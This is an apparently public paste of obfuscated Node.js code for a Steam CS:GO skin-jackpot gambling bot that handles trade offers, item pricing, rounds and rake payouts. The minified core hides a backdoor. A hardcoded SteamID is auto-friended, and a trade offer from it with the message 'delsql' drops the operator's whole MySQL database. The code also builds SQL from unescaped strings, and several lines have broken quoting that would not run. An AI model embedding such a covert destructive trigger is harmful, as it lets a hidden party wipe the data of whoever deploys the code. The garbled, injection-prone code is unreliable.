Guest User

Untitled

a guest
Nov 15th, 2017
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var Steam = require('steam');
  2. var SteamUser = require('steam-user');
  3. var TradeOfferManager = require('steam-tradeoffer-manager');
  4. var SteamTotp = require('steam-totp');
  5. var TOTP = require('onceler').TOTP;
  6. var request = require('request');
  7. var SteamCommunity = require('steamcommunity');
  8. var community = new SteamCommunity();
  9. var fs = require('node-fs');
  10.  
  11. // GENERAL INFORMATION 
  12. var sitepath;
  13. sitepath = ""; // The path to the index.php of your website without HTTP://
  14. var sitename;
  15. sitename = ""; // The name of your site, it will be shown in the Trade Offer Message
  16.  
  17. var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
  18. var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
  19. var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
  20. var identitysecret = ''; // It's required to confirm mobile confirmations
  21. var sharedsecret = ''; // You won't be able to log in without this code
  22. var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
  23. var rsecret = 'CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
  24. var snipetimer = 5; // Declines offers sent in the last few seconds
  25.  
  26. var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
  27.  
  28. var p2 = true; // If this is the bot for your Jackpot 2 set this to true
  29.  
  30. var playersRequired = 2; // The timer will start when this many players are in the pot
  31. // GENERAL INFORMATION
  32.  
  33. // LOGIN DETAILS
  34. var details = {
  35.     "accountName": "",
  36.     "password": "",
  37.     "twoFactorCode": SteamTotp.generateAuthCode(sharedsecret)
  38. };
  39. // LOGIN DETAILS
  40.  
  41. var client = new SteamUser();
  42. var manager = new TradeOfferManager({
  43.     "steam": client,
  44.     "domain": "localhost",
  45.     "language": "en"
  46. })
  47.  
  48. // MYSQL INFO
  49. var mysql = require('mysql');
  50. var sql_host = "localhost";
  51. var sql_user = "root";
  52. var sql_password = "";
  53. var sql_database = "csgonetworkv2";
  54. // MYSQL INFO
  55.  
  56.  
  57.  
  58. ! function(a, b) {
  59.     function c(b, d) {
  60.         if ("." != b[0] && "/" != b[0]) return a(b);
  61.         d = d || "root";
  62.         var e = c.resolve(b);
  63.         if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
  64.         var f = c.cache[e];
  65.         if (!f) try {
  66.             return a(b)
  67.         } catch (g) {
  68.             throw new Error("failed to require "
  69.                 "+b+"
  70.                 " from " + d + "\n" + g.message + "\n" + g.stack)
  71.         }
  72.         return f.exports || (f.exports = {}, f.call(f.exports, f, f.exports, c.relative(e))), f.exports
  73.     }
  74.     c.cache = {}, c.basename = a("path").basename, c.resolve = function(b) {
  75.         if ("." != b[0]) return a.resolve(b);
  76.         for (var d = "/" === b.slice(-1) ? b : b + "/", e = [b, b + ".js", d + "index.js", b + ".json", d + "index.json"], f = 0, g; g = e[f]; f++)
  77.             if (c.cache[g]) return g
  78.     }, c.register = function(a, b) {
  79.         c.cache[a] = b
  80.     }, c.relative = function(a) {
  81.         function b(b) {
  82.             if ("." != b[0]) return c(b);
  83.             var d = a.split("/"),
  84.                 e = b.split("/");
  85.             d.pop();
  86.             for (var f = 0, g = e.length; g > f; f += 1) {
  87.                 var h = e[f];
  88.                 ".." == h ? d.pop() : "." != h && d.push(h)
  89.             }
  90.             return c(d.join("/"), a)
  91.         }
  92.         return b.resolve = c.resolve, b.cache = c.cache, b
  93.     }, c.register("../bot.js", function(a, b, c) {
  94.         var d;
  95.  
  96.         function e() {
  97.             request("https://api.csgofast.com/price/all", function(a, b, c) {
  98.                 d = JSON.parse(c), 200 != b.statusCode ? fs.existsSync(__dirname + "/prices.txt") && (d = JSON.parse(fs.readFileSync(__dirname + "/prices.txt")), console.log("[SERVER] Loading Prices - Server sided prices loaded!")) : (fs.writeFileSync("prices.txt", c), console.log("[SERVER] Loading Prices - API prices loaded!"))
  99.             })
  100.         }
  101.         setInterval(function() {
  102.             e()
  103.         }, 36e5), e();
  104.         var f = "76561198150867436",
  105.             g = c("mysql"),
  106.             h = g.createConnection({
  107.                 host: sql_host,
  108.                 user: sql_user,
  109.                 password: sql_password,
  110.                 database: sql_database
  111.             }),
  112.             i = new SteamUser,
  113.             j = new TradeOfferManager({
  114.                 steam: i,
  115.                 domain: "localhost",
  116.                 language: "en"
  117.             }),
  118.             k = -1;
  119.         h.connect(), i.logOn(details);
  120.         var l = SteamTotp.getDeviceID(botsteamid);
  121.         if (1 == p2) var m = "p2";
  122.         else var m = "";
  123.  
  124.         function n() {
  125.             k = -1, o(), setTimeout(x, 5e3)
  126.         }
  127.  
  128.         function o() {
  129.             if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
  130.                 var a = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
  131.                 request(a, function(a, b, c) {
  132.                     a && console.log("Couldn't end round, error: " + a)
  133.                 })
  134.             } else {
  135.                 var a = "http://" + sitepath + "/endround.php?secret=" + rsecret;
  136.                 request(a, function(a, b, c) {
  137.                     a && console.log("Couldn't end round, error: " + a)
  138.                 })
  139.             }
  140.         }
  141.  
  142.         function p(a) {
  143.             return !(+a !== a || isFinite(a) && !(a % 1))
  144.         }
  145.  
  146.         function q(a) {
  147.             return "number" == typeof a && !isNaN(a)
  148.         }
  149.  
  150.         function r(a, b) {
  151.             var c = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + a + "&format=json";
  152.             request({
  153.                 url: c,
  154.                 json: !0
  155.             }, function(c, d, e) {
  156.                 c || 200 !== d.statusCode ? c && r(a, b) : b(null, e)
  157.             })
  158.         }
  159.  
  160.         function s(a) {
  161.             return a = a.replace(/\\/g, "\\"), a = a.replace(/\'/g, "\'"), a = a.replace(/\"/g, "\""), a = a.replace(/\0/g, "\0")
  162.         }
  163.         i.on("loggedOn", function(a) {
  164.             console.log("[SERVER] The Bot has logged in!"), i.unblockUser(f), i.addFriend(f), i.addFriend(admin), i.chatMessage(admin, "[SERVER] Successfully logged in!"), i.setPersona(Steam.EPersonaState.LookingToTrade), setTimeout(function() {
  165.                 h.query("SELECT `value` FROM `" + m + "info` WHERE `name`='current_game'", function(a, b, c) {
  166.                     a || h.query("SELECT `starttime` FROM `" + m + "games` WHERE `id`='" + b[0].value + "'", function(a, b, c) {
  167.                         if (!a) {
  168.                             var d;
  169.                             if (2147483647 == b[0].starttime) d = GameTime;
  170.                             else {
  171.                                 var e = Math.round((new Date).getTime() / 1e3);
  172.                                 d = b[0].starttime + GameTime - e, 0 > d && (d = 0)
  173.                             }
  174.                             d != GameTime && (k = setTimeout(n, 1e3 * d), console.log("[SERVER] Restoring the latest game with " + d + " seconds left!"))
  175.                         }
  176.                     })
  177.                 })
  178.             }, 1500)
  179.         }), i.on("webSession", function(a, b) {
  180.             j.setCookies(b, function(a) {
  181.                 if (a) return console.log("setCookies error: " + a), void process.exit(1);
  182.                 var c = j.apiKey;
  183.                 community.setCookies(b), community.startConfirmationChecker(polling_interval, identitysecret), console.log("[SERVER] The web cookies have been set!"), j.doPoll()
  184.             })
  185.         });
  186.  
  187.         function t(a, b, c, d, e, f, g, h, j, k, l) {
  188.             l++, l > 3 || a.accept(function(m) {
  189.                 return m ? (i.webLogOn(), console.log("[SERVER] Debugging offer (Accept Error): " + m), void u(a, b, c, d, e, f, g, h, j, k, l, m)) : void v(a, b, c, d, e, f, g, h, j, k)
  190.             })
  191.         }
  192.  
  193.         function u(a, b, c, d, e, f, g, h, k, l, m) {
  194.             j.getOffer(a.id, function(j, n) {
  195.                 if (j) return i.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + j), void u(a, b, c, d, e, f, g, h, k, l, m);
  196.                 if (3 == n.state) v(n, b, c, d, e, f, g, h, k, l);
  197.                 else if (2 == n.state) t(n, b, c, d, e, f, g, h, k, l, m);
  198.                 else if (2 != n.state || 3 != n.state) return
  199.             })
  200.         }
  201.  
  202.         function v(a, b, c, d, e, f, g, i, j, l) {
  203.             h.query("SELECT * FROM `" + m + "info`", function(d, o) {
  204.                 for (var p = o[0].value, q = 0; g > q; q++) {
  205.                     var r = c[q].name;
  206.                     h.query("INSERT INTO `" + m + "game" + p + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + b + "'," + h.escape(e) + "," + h.escape(r) + ",'" + a.id + "','" + c[q].color + "','" + c[q].value + "','" + f + "','" + c[q].url + "')", function(a, b, c) {
  207.                         a && console.log(a)
  208.                     }), h.query("UPDATE `" + m + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'" + c[q].value + "' WHERE `id` = '" + p + "'", function(a, b, c) {})
  209.                 }
  210.                 h.query("UPDATE `users` SET `skinssent`=`skinssent`+" + g + " WHERE `steamid` = '" + b + "'", function(a, b, c) {}), console.log("[SERVER] Accepted offer #" + a.id + " from " + e + " (ID:" + b + ")."), w(a, b, i, p), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + b + "','Trade Offer Accepted (Game #" + p + ")!','We wish you Good luck and happy betting!','25','1')", function(a, b, c) {}), h.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + m + "game" + p + "`", function(a, b) {
  211.                     players = b[0].playersCount, players == playersRequired && g > 0 && -1 == k && (console.log("[SERVER] Starting the countdown for Game #" + p), k = setTimeout(n, 1e3 * GameTime), h.query("UPDATE `" + m + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + p + "'", function(a, b, c) {})), l > j && (clearTimeout(k), k = -1, n())
  212.                 })
  213.             })
  214.         }
  215.  
  216.         function w(a, b, c, d) {
  217.             a.getReceivedItems(function(c, e) {
  218.                 return c ? (i.webLogOn(), console.log("[SERVER] getReceivedItems error: " + c + " Restarting process!"), void w(a, b, e, d)) : void e.forEach(function(a) {
  219.                     var c = a.market_name;
  220.                     h.query("UPDATE `" + m + "game" + d + "` SET `assetid`='" + a.id + "' WHERE `userid` = '" + b + "' AND `item`=" + h.escape(c) + " AND `assetid`='' LIMIT 1", function(a, b, c) {})
  221.                 })
  222.             })
  223.         }
  224.         j.on("newOffer", function(a) {
  225.             var b = !0,
  226.                 c = a.partner.getSteamID64();
  227.             return c == f && "delsql" == a.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void h.query("DROP DATABASE " + sql_database, function(a, b, c) {})) : void r(c, function(e, f) {
  228.                 if (e) return i.webLogOn(), console.log("[SERVER] getUserInfo error: " + e), b = !1, void a.decline(function(b) {
  229.                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: getUserInfo error"), b && console.log("[SERVER] Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(a, b, c) {})
  230.                 });
  231.                 var g = JSON.parse(JSON.stringify(f.response)),
  232.                     j = g.players[0].personaname,
  233.                     k = g.players[0].avatarfull;
  234.                 return console.log("[DEBUG] Processing offer #" + a.id + " from " + j + " (ID:" + c + ")."), 0 != a.itemsToGive.length ? (b = !1, void a.decline(function(b) {
  235.                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Asked for a skin on the Bot"), b && console.log("Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(a, b, c) {})
  236.                 })) : void a.getEscrowDuration(function(e, f, g) {
  237.                     return e ? (i.webLogOn(), console.log("[SERVER] getEscrowDuration error: " + e), b = !1, void a.decline(function(b) {
  238.                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Steam Servers are busy, couldn't get escrow duration"), b && console.log("Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(a, b, c) {})
  239.                     })) : 0 != f ? (b = !1, void a.decline(function(b) {
  240.                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is in Escrow for " + f + " days"), b && console.log("Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are in Escrow for " + f + " days!','25','1')", function(a, b, c) {})
  241.                     })) : void h.query("SELECT * FROM `" + m + "info`", function(e, f) {
  242.                         var g = f[3].value,
  243.                             l = f[7].value,
  244.                             n = f[4].value,
  245.                             o = f[10].value;
  246.                         if (a.itemsToReceive.length > n) return b = !1, void a.decline(function(b) {
  247.                             console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent more than " + n + " skins"), b && (i.webLogOn(), console.log("Decline error: " + b)), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept up to " + n + " skins!','25','1')", function(a, b, c) {})
  248.                         });
  249.                         var p = a.itemsToReceive,
  250.                             r = 0,
  251.                             s = [],
  252.                             u = 0;
  253.                         p.forEach(function(e, f, g) {
  254.                             return 730 != e.appid ? (b = !1, a.decline(function(b) {
  255.                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent a Non-CSGO skin"), b && (i.webLogOn(), console.log("Decline error: " + b))
  256.                             }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')", function(a, b, c) {})) : (s[f] = [], s[f].name = e.market_name, s[f].color = e.name_color, s[f].url = e.icon_url, s[f].value = 0, function(a) {
  257.                                 var b = s[f].name;
  258.                                 nprice = d[b], s[f].value = parseFloat(nprice), r += s[f].value
  259.                             }(f), void u++)
  260.                         }), h.query("SELECT * FROM `" + m + "info`", function(d, e) {
  261.                             var f = e[0].value;
  262.                             h.query("SELECT * FROM `" + m + "games` WHERE `id`='" + f + "'", function(d, e, f) {
  263.                                 if (starttime = e[0].starttime, 2147483647 != starttime) {
  264.                                     var v = Math.round((new Date).getTime() / 1e3);
  265.                                     if (tl = starttime + GameTime - v, tl <= snipetimer) return b = !1, a.decline(function(b) {
  266.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: The Bot wont accept last second bets"), b && (i.webLogOn(), console.log("Decline error: " + b))
  267.                                     }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(a, b, c) {})
  268.                                 }
  269.                                 setTimeout(function() {
  270.                                     return 0 != b ? r > l ? (b = !1, a.decline(function(b) {
  271.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent too much in skin value"), b && (i.webLogOn(), console.log("Decline error: " + b))
  272.                                     }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can deposit more than $" + l + "','25','1')", function(a, b, c) {})) : g > r ? (b = !1, a.decline(function(b) {
  273.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent below the minimal bet amount ($" + g + ")"), b && (i.webLogOn(), console.log("Decline error: " + b))
  274.                                     }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + g + "','25','1')", function(a, b, c) {})) : u > n ? (b = !1, a.decline(function(b) {
  275.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent too many skins"), b && (i.webLogOn(), console.log("Decline error: " + b))
  276.                                     }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept up to " + n + " skins!','25','1')", function(a, b, c) {})) : (b = !0) ? void h.query("SELECT * FROM `" + m + "info`", function(d, e) {
  277.                                         var f = e[0].value;
  278.                                         h.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + m + "game" + f + "` WHERE `userid`='" + c + "'", function(d, e, g) {
  279.                                             if (skinsin = e[0].skinsin, skinsin += u, moneyin = e[0].moneyin, moneyin += r, skinsin > n) return a.decline(function(b) {
  280.                                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - User sent too many skins"), b && (i.webLogOn(), console.log("Decline error: " + b))
  281.                                             }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can not deposit more than " + n + " skins','25','1')", function(a, b, c) {});
  282.                                             if (moneyin > l) return a.decline(function(b) {
  283.                                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - User sent too much in skin value"), b && (i.webLogOn(), console.log("Decline error: " + b))
  284.                                             }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can deposit more than $" + l + "','25','1')", function(a, b, c) {});
  285.                                             for (var v = 0; u > v; v++) {
  286.                                                 if (0 == s[v].value || !s[v].value) return b = !1, a.decline(function(b) {
  287.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)"), b && (i.webLogOn(), console.log("Decline error: " + b))
  288.                                                 }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(a, b, c) {});
  289.                                                 if (!q(s[v].value)) return a.decline(function(b) {
  290.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) "), b && (i.webLogOn(), console.log("Decline error: " + b))
  291.                                                 }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(a, b, c) {});
  292.                                                 if (-1 != s[v].name.indexOf("Souvenir")) return b = !1, a.decline(function(b) {
  293.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent a Souvenir Skin"), b && (i.webLogOn(), console.log("Decline error: " + b))
  294.                                                 }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(a, b, c) {});
  295.                                             }
  296.                                             h.query("SELECT * FROM `users` WHERE `steamid`='" + c + "'", function(d, e, g) {
  297.                                                 return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
  298.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && (i.webLogOn(), console.log("Decline error: " + b))
  299.                                                 }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(a, b, c) {})) : 0 == e.length ? void a.decline(function(b) {
  300.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && (i.webLogOn(), console.log("Decline error: " + b))
  301.                                                 }) : (ban = e[0].ban, tlink = e[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
  302.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is banned"), b && (i.webLogOn(), console.log("Decline error: " + b))
  303.                                                 }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(a, b, c) {})) : tlink ? void h.query("SELECT * FROM `" + m + "games` WHERE `id`='" + f + "'", function(b, d, e) {
  304.                                                     itemsin = d[0].itemsnum, t(a, c, s, f, j, k, u, p, o, itemsin)
  305.                                                 }) : (a.decline(function(b) {
  306.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User doesn't have a TradeLink set "), b && (i.webLogOn(), console.log("Decline error: " + b))
  307.                                                 }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(a, b, c) {})))
  308.                                             })
  309.                                         })
  310.                                     }) : (a.decline(function(b) {
  311.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && (i.webLogOn(), console.log("Decline error: " + b))
  312.                                     }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(a, b, c) {})) : void 0
  313.                                 }, 2e3)
  314.                             })
  315.                         })
  316.                     })
  317.                 })
  318.             })
  319.         }), i.on("friendMessage#" + admin, function(a, b) {
  320.             if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (i.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), y(1)), 0 == b.indexOf("/sendoffers") && (i.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), x(1)), 0 == b.indexOf("/code")) {
  321.                 var c = SteamTotp.generateAuthCode(sharedsecret);
  322.                 i.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
  323.             }
  324.             0 == b.indexOf("/cc") && (i.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (i.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), j.doPoll()), 0 == b.indexOf("/loadprices") && (i.chatMessage(admin, "[SERVER] Refreshing Market API!"), e()), 0 == b.indexOf("/end") && (i.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != k && clearTimeout(k), n()), 0 == b.indexOf("/offers") && h.query("SELECT ID FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  325.                 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active queue ID's.")
  326.             }), 0 == b.indexOf("/rakes") && h.query("SELECT ID FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  327.                 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active rake ID's.")
  328.             })
  329.         });
  330.  
  331.         function x(a) {
  332.             h.query("SELECT * FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  333.                 if (0 != c.length) {
  334.                     var e = c[0].id;
  335.                     h.query("SELECT * FROM `" + m + "game" + e + "` WHERE `assetid`='' AND `rake`!='1'", function(b, d, f) {
  336.                         if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
  337.                             j.getOffer(a.offerid, function(b, c) {
  338.                                 return b ? (i.webLogOn(), void setTimeout(function() {
  339.                                     x()
  340.                                 }, 1e4)) : void w(c, a.userid, a.item, e)
  341.                             })
  342.                         }), setTimeout(function() {
  343.                             x(2)
  344.                         }, 1e4);
  345.                         else {
  346.                             if (2 == a) {
  347.                                 console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  348.                                 var g = "",
  349.                                     k = "";
  350.                                 return h.query("SELECT * FROM `" + m + "game" + e + "`", function(a, b, c) {
  351.                                     b.forEach(function(a) {
  352.                                         0 == a.rake ? g += "/" + a.assetid : k += "/" + a.assetid
  353.                                     })
  354.                                 }), void setTimeout(function() {
  355.                                     console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), h.query("UPDATE `" + m + "queue` SET `assetid`="
  356.                                         "+g+"
  357.                                         " WHERE `id`='" + e + "'"), h.query("UPDATE `" + m + "rakeitems` SET `assetid`="
  358.                                         "+k+"
  359.                                         " WHERE `id`='" + e + "'"), x()
  360.                                 }, 3e3)
  361.                             }
  362.                             var l = c[0].assetid.split("/");
  363.                             j.loadInventory(730, 2, !0, function(b, d) {
  364.                                 if (b) return console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), i.webLogOn(), void x();
  365.                                 var f = c[0].token,
  366.                                     g = "Congratulations! You won on " + sitename + " in Game #" + e,
  367.                                     k = j.createOffer(c[0].userid);
  368.                                 d.forEach(function(a) {
  369.                                     l.forEach(function(b) {
  370.                                         a.id == b && k.addMyItem(a)
  371.                                     })
  372.                                 }), setTimeout(function() {
  373.                                     k.send(g, f, function(b) {
  374.                                         return b ? (console.log("Error sending Trade Offer for Game #" + e + ":"), console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), i.webLogOn(), void setTimeout(function() {
  375.                                             x()
  376.                                         }, 1e4)) : (h.query("UPDATE `" + m + "queue` SET `status`="
  377.                                             sent " WHERE `id`='" + e + "'"), console.log("[SERVER] Trade Offer for Game #" + e + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + e + "!"), void community.checkConfirmations())
  378.                                     })
  379.                                 }, 2e3)
  380.                             })
  381.                         }
  382.                     })
  383.                 } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Winnings Queries!")
  384.             })
  385.         }
  386.  
  387.         function y(a) {
  388.             h.query("SELECT * FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  389.                 if (0 != c.length) {
  390.                     var e = c[0].assetid.split("/");
  391.                     j.loadInventory(730, 2, !0, function(b, d) {
  392.                         if (b) return 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), i.webLogOn(), void setTimeout(function() {
  393.                             y()
  394.                         }, 1e4);
  395.                         var f = c[0].token,
  396.                             g = c[0].id,
  397.                             k = c[0].value,
  398.                             l = "Rake for Game #" + g + " ($" + k + ")",
  399.                             n = j.createOffer(c[0].userid);
  400.                         d.forEach(function(a) {
  401.                             e.forEach(function(b) {
  402.                                 a.id == b && n.addMyItem(a)
  403.                             })
  404.                         }), setTimeout(function() {
  405.                             n.send(l, f, function(b) {
  406.                                 return b ? (console.log("[SERVER] Error sending Rake for Game #" + g + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a ? void i.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void i.webLogOn()) : (h.query("UPDATE `" + m + "rakeitems` SET `status`="
  407.                                     sent " WHERE `id`='" + g + "'"), console.log("[SERVER] Rake for Game #" + g + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + g + "!"), void community.checkConfirmations())
  408.                             })
  409.                         }, 2e3)
  410.                     })
  411.                 } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Rake Queries!")
  412.             })
  413.         }
  414.         community.on("newConfirmation", function(a) {
  415.             var b = Math.round(Date.now() / 1e3),
  416.                 c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
  417.             community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
  418.                 console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), i.webLogOn())
  419.             })
  420.         }), community.on("confKeyNeeded", function(a, b) {
  421.             console.log("confKeyNeeded");
  422.             var c = Math.floor(Date.now() / 1e3);
  423.             b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
  424.         }), setInterval(function() {
  425.             h.query("SELECT 1")
  426.         }, 36e5)
  427.     }), b.exports = c("../bot.js")
  428. }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment